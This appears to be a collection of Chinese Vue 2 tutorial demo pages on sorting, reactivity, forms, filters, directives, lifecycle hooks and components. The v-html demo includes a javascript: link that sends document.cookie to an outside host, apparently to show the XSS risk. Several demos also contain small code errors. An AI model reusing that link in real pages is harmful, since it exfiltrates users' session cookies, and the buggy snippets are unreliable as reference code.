    <button @click="sortType=1">列表降序</button>
    <button @click="sortType=0">原始顺序</button>
    <ul>
      <li v-for="(p) in filPersons" :key="p.id">
        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>

  </div>


  <script>

    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        sortType: 0, // 0:原顺序 1:降序 2:升序
        keyWord: '',
        persons: [
          { id: '001', name: '张三', age: 21, sex: '男' },
          { id: '002', name: '李四', age: 31, sex: '男' },
          { id: '003', name: '王五', age: 61, sex: '男' },
          { id: '004', name: '马冬梅', age: 25, sex: '女' },
          { id: '005', name: '周冬雨', age: 39, sex: '女' },
          { id: '006', name: '周杰伦', age: 11, sex: '男' },
          { id: '007', name: '温兆伦', age: 34, sex: '男' },
        ]
      },

      computed:{
        filPersons() {
          const arr = this.persons.filter((p) => {
            return p.name.indexOf(this.keyWord) !== -1
          })

          if (this.sortType) {
            arr.sort((p1, p2) => this.sortType === 2? p1.age - p2.age: p2.age - p1.age)
          }

          // switch (this.sortType) {
          //   case 1:
          //     arr.sort((p1, p2) => p1.age - p2.age)
          //     break;
          //   case 2:
          //     arr.sort((p1, p2) => p2.age - p1.age)
          //     break
          //   default:
          //     break;
          // }

          return arr
        }
      },


        
    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">

    <h2>人员列表</h2>
    <button @click="updateMei">更新马冬梅信息</button>
    <ul>
      <li v-for="(p) in persons" :key="p.id">
        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>

  </div>


  <script>

    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        keyWord: '',
        persons: [
          { id: '001', name: '张三', age: 21, sex: '男' },
          { id: '002', name: '李四', age: 31, sex: '男' },
          { id: '003', name: '王五', age: 61, sex: '男' },
          { id: '004', name: '马冬梅', age: 25, sex: '女' },
          { id: '005', name: '周冬雨', age: 39, sex: '女' },
          { id: '006', name: '周杰伦', age: 11, sex: '男' },
          { id: '007', name: '温兆伦', age: 34, sex: '男' },
        ]
      },
      methods: {
        updateMei() {
          // 有效
          // this.persons[3].name = '马老师'
          // this.persons[3].age = 53
          // this.persons[3].sex = '男'

          // 无效
          // this.persons[3] = { id: '004', name: '马老师', age: 53, sex: '男' }

          // 有效 vue 只针对数组常用方法进行检测 
          /*
            push()
            pop()
            shift()
            unshift()
            splice()
            sort()
            reserve()
          */
          // this.persons.splice(3, 1, { id: '004', name: '马老师', age: 53, sex: '男' })

          // 有效 或者 Vue.Set
          this.$set(this.persons, 3, { id: '004', name: '马老师', age: 53, sex: '男' })

          
        }
      },

        
    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">

    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{addr}}</h2>

    <hr>

    <h1>学生信息</h1>
    <button @click="addSex">添加一个性别信息,默认为男</button>
    <h2>学生姓名:{{student.name}}</h2>
    
    <h2>学生年龄:真实:{{student.age.rAge}}, 对外{{student.age.sAge}}</h2>
    <h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
    <h2>hobby</h2>
    <ul>
      <li v-for="(f, index) in student.hobby" ::key="index">
        {{f}}
      </li>
    </ul>
    <h2>朋友们</h2>
    <ul>
      <li v-for="(f, index) in student.friends" ::key="index">
        {{f.name}} - {{f.age}}
      </li>
    </ul>
  </div>


  <script>

    Vue.config.productionTip = false

    const vm = new Vue({
      el: '#root',
      data: {
        name: '南图小学',
        addr: '翼龙',
        student: {
          name: 'tom',
          age: {
            rAge: 40,
            sAge: 29
          },
          hobby: ['抽烟', '喝酒', '烫头'],
          friends: [
            { name: 'jerry', age: 35 },
            { name: 'tony', age: 35 }
          ]
        }
      },
      methods: {
        addSex() {
          this.$set(this.student, 'sex', '男')
        }
      },



    })

    // 方法一, 但有局限,不能给 data 添加属性
    // Vue.set(vm.student, 'sex', '男')
    
    // 方法二
    // vm.$set(vm.student, 'sex', '女')
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <script>
    let data = {
      name: '校长',
      addr: 'beijing'
    }

    // ?
    // Object.defineProperties(data, 'name', {
    //   get() {
    //     return data.name  // 会死循环嵌套
    //   },
    //   set(val){
    //     data.name = val
    //   }
    // })

    const obs = new Observer(data)
    console.log('obs:', obs);

    let vm = {}

    vm._data = data = obs

    function Observer(obj){
      const keys = Object.keys(obj)

      // 遍历
      keys.forEach(k => {
        Object.defineProperties(this, k, {
          get(){
            this.k = obj[k]
          },
          set(val) {
            console.log(`${k}, 被改了, 我要去解析模板,生成虚拟dom。。开始工作了...`);
            obj[k] = val
          }
        })
      })
    }
    
  </script>
</body>

</html>

收集表单数据

html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
  <script src="../../../../lib/dayjs/dayjs.min.js"></script>
</head>
<body>
  <div id="root">
    <form @submit.prevent="demo">
      账号: <input type="text" v-model.trim="userInfo.account"> <br><br>
      密码: <input type="password" v-model="userInfo.password"> <br><br>
      年龄: <input type="number" v-model.number="userInfo.age"> <br><br>
      性别:
      男<input type="radio" v-model="userInfo.sex" value="male"><input type="radio" v-model="userInfo.sex" value="female"> <br><br>
      爱好:
      学习<input type="checkbox" v-model="userInfo.hobby" value="study">
      打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
      吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"> <br><br>
      所属校区:
      <select v-model="userInfo.city">
        <option value="">请选择校区</option>
        <option value="beijing">北京</option>
        <option value="shanghai">上海</option>
        <option value="shenzhen">深圳</option>
        <option value="wuhan">武汉</option>
      </select> <br><br>
      其他信息:
      <textarea v-model.lazy="userInfo.other"></textarea> <br><br>
      <input type="checkbox" v-model="userInfo.agree"> 阅读并接受<a href="http://www.google.com">《用户协议》</a> <br><br>
      <button>提交</button>
    </form>
  </div>
  <script>
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        userInfo: {
          account: '',
          password: '',
          age: 21,
          sex: 'male',
          hobby: [],
          city: 'beijing',
          other: '',
          agree: ''
        }
      },
      methods: {
        demo() {
          alert(JSON.stringify(this.userInfo))
        }
      },
    })
  </script>
</body>
</body>
</html>

过滤器

html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
  <script src="../../../../lib/dayjs/dayjs.min.js"></script>
</head>
<body>
  <div id="root">
    <h3>显示格式化后的时间</h3>
    <h3>{{time}}</h3>

    <h3>计算属性实现:{{fmttime}}</h3>
    <h3>methods实现:{{fmttimeFunc()}}</h3>
    <h3>过滤器实现:{{time | timeFormatter}}</h3>
    <h3>过滤器传参实现:{{time | timeFormatter2('YYYY-MM-DD')}}</h3>
    <h3>多过滤器实现:{{time | timeFormatter2('YYYY-MM-DD') | myslice}}</h3>
    <h3>其他标签使用过滤器</h3>
    <h4 :x="msg | myslice">测试,查看源码标签是否改动</h4>
  </div>

  <div id="root2">
    <h3>使用全局过滤器</h3>
    {{'hello_word' | myslice}}
  </div>
  <script>
    Vue.config.productionTip = false

    // 全局过滤器
    Vue.filter('myslice', function (str) {
      return str.slice(0, 4)
    })

    new Vue({
      el: '#root',
      data: {
        time: 1646902230778,
        msg: 'bigandbig'
      },
      computed: {
        fmttime() {
          return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
        }
      },
      methods: {
        fmttimeFunc() {
          return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
        }
      },
      // 局部过滤器
      filters: {
        timeFormatter(time) {
          return dayjs(time).format('YYYY-MM-DD HH:mm:ss')
        },
        timeFormatter2(time, formatStr = 'YYYY-MM-DD HH:mm:ss') {
          return dayjs(time).format(formatStr)
        },
        // myslice(str){
        //   return str.slice(0, 4)
        // }
      }
    })

    new Vue({
      el: '#root2'
    })
  </script>
</body>
</html>

内置指令

v-text
v-html
v-cloak
v-once
v-pre

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    {{name}}
    <hr>
    <!-- 所有的解析并替换,显示的是原始值,不会解析标签 -->
    <div v-text="name"></div>
    <div v-text="str"></div>

  </div>
  <script>
    /*
      v-bind: 单向绑定
      v-model: 双向绑定
      v-for:
      v-on: @
      v-if:
      v-else
      v-show
    */
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data:{
        name: '南图小学',
        str: '<h4>xxxxx</h4>'
      }
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    {{name}}
    <hr>
    <div v-html="str"></div>
    <a href='javascript:location.href="http://www.baidu.com?"+ document.cookie'>兄弟快点</a>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data:{
        name: '南图小学',
        str: '<h4>xxxxx</h4>',
        str2: ''
      }
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
  <style>
    [v-cloak] {
      display: none;
    }
  </style>
</head>

<body>
  <!-- v-cloak Vue成功加载后对应标签消失,配合style来解决模板渲染造成的异常问题 -->
  <div v-cloak id="root">
    {{name}}
  </div>

  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data:{
        name: '南图小学',
        str: '<h4>xxxxx</h4>',
        str2: ''
      }
    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    <!-- v-once 初始才渲染一次 -->
    <h3 v-once>初始化的n值是:{{n}}</h3>
    <h3>当前n的值是:{{n}}</h3>
    
    <button @click="add">点我n+1</button>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data:{
        n:0
      },
      methods: {
        add(){
          this.n += 1
        }
      },
    })
  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    <!--  v-pre 不回去解析模板,加快编译速度 -->
    <h3 v-pre>hello</h3>
    <h3 v-pre>当前n的值是:{{n}}</h3>
    
    <button @click="add">点我n+1</button>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data:{
        n:0
      },
      methods: {
        add(){
          this.n += 1
        }
      },
    })
  </script>
</body>

</html>

自定义指令

html

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
  <script src="../../../../lib/dayjs/dayjs.min.js"></script>
</head>
<body>
  <div id="root">
    <h2>当前的n值是:<span v-text="n"></span></h2>
    <!-- 使用v-big将原始值放大10倍 -->
    <h2>放大10倍的n值是:<span v-big="n"></span></h2>
    <button @click="add">点我n+1</button>

    <!-- v-fbind 指令类似 v-bind 但可以使 input获取默认焦点 -->
    <hr>
    <!-- 原始使用 加 autofocus -->
    <input type="text" :value="n"  /> 
    <input type="text" v-fbind:value="n"  /> 

    <!-- 注意,自定义指令 this指向是 window -->
  </div>
  <script>
    Vue.config.productionTip = false
    // 全局自定义指令
    Vue.directive('fxxx', {
        bind(element, bingding){
          // 绑定时(一上来)
          element.value = bingding.value
        },
        inserted(element, bingding){
          // 插入页码时
          element.focus()
        },
        update(element, bingding){
          // 所在模板被重新解析时
          element.value = bingding.value
        }
    })

    new Vue({
      el: '#root',
      data: {
        n: 1
      },
      methods: {
        add() {
          this.n += 1
        }
      },
      directives:{
        // 函数: 1.指令和元素成功绑定时调用 2.指令所在的模板被重新解析时
        big(element, bingding){
          console.dir(element)
          console.log(element, bingding.value)
          element.innerText = bingding.value * 10
        },

        // 对象时,可以详细操作
        fbind: {
          bind(element, bingding){
            // 绑定时(一上来)
            element.value = bingding.value
          },
          inserted(element, bingding){
            // 插入页面时
            element.focus()
          },
          update(element, bingding){
            // 所在模板被重新解析时
            element.value = bingding.value

          }
        }
      }
    })
  </script>
</body>
</html>

生命周期

引出-mount
不使用生命周期
分析
总结

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    <h2 :style="{opacity}">{{name}}</h2>
  </div>
  <script>
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        name: '南图小学',
        opacity: 0.6
      },
      // DOM渲染之后
      mounted() {
        setInterval(() => {
          this.opacity -= 0.01
          if (this.opacity <= 0) this.opacity = 1
        }, 16)
      },
    })


  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    <h2 :style="{opacity}">{{name}}</h2>
  </div> 
  <script>
    Vue.config.productionTip = false
    
    const vm = new Vue({
      el: '#root',
      data:{
        name: '南图小学',
        opacity: 0.6
      }
    })

    setInterval(()=>{
      vm.opacity -= 0.01
      if (vm.opacity <= 0) vm.opacity = 1
    }, 16)
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
  <style>
    [v-cloak] {
      display: none;
    }
  </style>
</head>

<body>
  <div id="root">
    <h2>当前的n值是:{{n}}</h2>
    <button @click="add">点我+1</button>
    <button @click="bye">点我销毁</button>
  </div>
  <script>
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        n: 0
      },
      methods: {
        add(){
          this.n++
        },
        bye(){
          console.log('bye');
          this.$destroy() // 清理它与其它实例的连接,解绑它的全部指令及自定义事件监听器, 原生的不会销毁
        }
      },
      // 无数据代理,无方法
      beforeCreate() {
        console.log('beforeCreate');
      },
      // 有数据代理和对应方法
      created() {
        console.log('created');
      },
      // 解析完模板,虚拟dom创建后
      beforeMount() {
        console.log('beforeMount');
      },
      // 真实dom创建后
      mounted() {
        console.log('mounted');
      },
      // 数据更新之前
      beforeUpdate() {
        console.log("beforeUpdate");
      },
      // 数据更新之后
      updated() {
        console.log("beforeUpdate");
      },
      // 马上销毁
      beforeDestroy() {
        // 
        console.log("beforeDestroy");
      },
      destroyed() {
        console.log("destroyed");
      }
    })


  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    <h2 :style="{opacity}">{{name}}</h2>
    <button @click="stop">点我停止变幻</button>
  </div>
  <script>
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        name: '南图小学',
        opacity: 0.6
      },
      methods: {
        stop() {
          this.$destroy()
        }
      },
      // DOM渲染之后
      mounted() {
        this.timer = setInterval(() => {
          this.opacity -= 0.01
          if (this.opacity <= 0) this.opacity = 1
        }, 16)
      },
      beforeDestroy() {
        clearInterval(this.timer)
      },
    })
  </script>
</body>

</html>

非单文件组件

准备
基本使用
组件嵌套
vuecomponent
内置关系

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    <h2>学校名称:{{schoolName}}</h2>
    <h2>学校地址:{{schoolAddress}}</h2>
    <hr>
    <h2>学生姓名:{{name}}</h2>
    <h2>学生年龄:{{age}}</h2>
  </div>
  <script>
    Vue.config.productionTip = false
    
    new Vue({
      el: '#root',
      data:{
        schoolName: '南图小学',
        schoolAddress: '金城',
        Name: '小张',
        age: 30
      }
    })
  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>
<body>
  <div id="root">
    <h1>{{msg}}</h1>
    <school></school>
    <hr>
    <student></student>
    <hr>
    <!-- 脚手架可以处理自闭合标签 -->
    <student></student>  
    <hr>
    <hello></hello>
  </div>
  <script>
    Vue.config.productionTip = false

    // 简写形式 可以去掉Vue.extend
    const school = Vue.extend({
      template:`
        <div>
          <h2>学校名称:{{schoolName}}</h2>
          <h2>学校地址:{{schoolAddress}}</h2>  
          <button @click="tipSchool">点我提示学校名</button>
        </div>
      `,
      data() {
        return {
          schoolName: '南图小学',
          schoolAddress: '金城'
        }
      },
      methods: {
        tipSchool() {
          alert(this.schoolName)
        }
      },
    })

    const student = Vue.extend({ 
      template: `
        <div>
          <h2>学生姓名:{{name}}</h2>
          <h2>学生年龄:{{age}}</h2>  
        </div>
      `,
      data() {
        return {
          name: '小张',
          age: 30
        }
      }
    })

    const hello = Vue.extend({
      name: 'helloworld', // 开发者工具显示自定义名称
      template: `
        <div>
          <h2>你好</h2>
        </div>
      `
    })

    //注册全局 所有vm都可以使用
    Vue.component('hello', hello)

    new Vue({
      el: '#root',
      data:{
        msg: '你好'
      },
      components:{
        school,
        student
      }
    })

   /*
      组件名推荐: 'my-school'  'MySchool'(脚手架才能使用)
   */

  </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
  <style>
    [v-cloak] {
      display: none;
    }
  </style>
</head>

<body>
  <div id="root">
    <h1>{{msg}}</h1>
    <school></school>
    <hr>
  </div>
  <script>
    Vue.config.productionTip = false


    const student = Vue.extend({ 
      template: `
        <div>
          <h2>学生姓名:{{name}}</h2>
          <h2>学生年龄:{{age}}</h2>  
        </div>
      `,
      data() {
        return {
          name: '小张',
          age: 30
        }
      }
    })

    // 简写形式 可以去掉Vue.extend
    const school = Vue.extend({
      template:`
        <div>
          <h2>学校名称:{{schoolName}}</h2>
          <h2>学校地址:{{schoolAddress}}</h2>  
          <hr />
          <student></student>
        </div>
      `,
      data() {
        return {
          schoolName: '南图小学',
          schoolAddress: '金城' 
        }
      },
      components:{
        student
      } 
    })
  
   
    new Vue({
      el: '#root',
      data:{
        msg: '你好'
      },
      components:{
        school,
        student 
      }
    })


  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
    <h1>{{msg}}</h1>
    <school></school>
  </div>
  <script>
    Vue.config.productionTip = false

    /*
        school 组件本质是 VueComponent 的构造函数,非程序员定义,由 Vue.extends 生成, 且都为一个全新VueComponent
    */
    const school = Vue.extend({
      template:`
        <div>
          <h2>学校名称:{{schoolName}}</h2>
          <h2>学校地址:{{schoolAddress}}</h2>  
        </div>
      `,
      data() {
        return {
          schoolName: '南图小学',
          schoolAddress: '金城'
        }
      }
    })

    console.log('@', school);

    new Vue({
      el: '#root',
      data:{
        msg: '你好'
      },
      components:{
        school
      }
    })

   /*
      组件名推荐: 'my-school'  'MySchool'(脚手架才能使用)
   */

  </script>
</body>

</html>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script src="../../../../lib/vue2_6_14/vue.min.js"></script>
</head>

<body>
  <div id="root">
  </div>
  <script>

    /*
    一个重要内置关系: VueComponent.prototype.__proto__ === Vue.prototype
        便于 vc 可以访问到 Vue 原型上的实例和方法
    */

    Vue.config.productionTip = false
    Vue.prototype.headname = '只能这么用'

    const school = Vue.extend({
      template:`
        <div>
          <h2>学校名称:{{schoolName}}</h2>
          <h2>学校地址:{{schoolAddress}}</h2> 
          <h3>{{headname}}</h3> 
        </div>
      `,
      data() {
        return {
          schoolName: '南图小学',
          schoolAddress: '金城'
        }
      },
    })
    
    
    new Vue({
        el: '#root',
        template: `
            <school></school>
        `,
      data:{
        msg: '你好',
        // headname: 'main name'
      },
      components:{
        school
      }
    })

    console.log('@end',school.prototype.__proto__ === Vue.prototype);

  </script>
</body>

</html>

单文件组件

index.html
main.js
App.vue
School.vue
Student.vue

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <div id="root"></div>
    <script src="../../../common/vue2_6_14/vue.js"></script>
    <script type="text/javascript" src="./main.js"></script>
</body>
</html>

import App from './App.vue'

new Vue({
    template: `<App></App>`,
    el: '#root',
    comments: {App}
})

<template>
  <div>
    <School></School>
    <Student></Student>
  </div>
</template>

<script>
import School from './School.vue'
import Student from './Student.vue'

export default {
    name: 'App',
    components: {School, Student}
}
</script>

<style>

</style>


<!-- 组件结构 -->
<template>
  <div class="demo">
    <h2>学校名称:{{ schoolName }}</h2>
    <h2>学校地址:{{ schoolAddress }}</h2>
    <button @click="tipSchool">点我提示学校名</button>
  </div>
</template>

<script>
// 组件交互代码
export default {
    name:'School',
    data() {
        return {
          schoolName: '南图小学',
          schoolAddress: '金城'
        }
      },
      methods: {
        tipSchool() {
          alert(this.schoolName)
        }
      }
};

const school = Vue.extend({
      
    })
</script>

<style lang="">
/* 组件样式 */
.demo{
    background-color: orange;
}
</style>


<!-- 组件结构 -->
<template>
  <div class="demo">
    <h2>学生名称:{{ name }}</h2>
    <h2>学生年龄:{{ age }}</h2>
  </div>
</template>

<script>
// 组件交互代码
export default {
    name:'School',
    data() {
        return {
          name: '小张',
          age: 30
        }
      }
};

</script>

results matching ""

    No results matching ""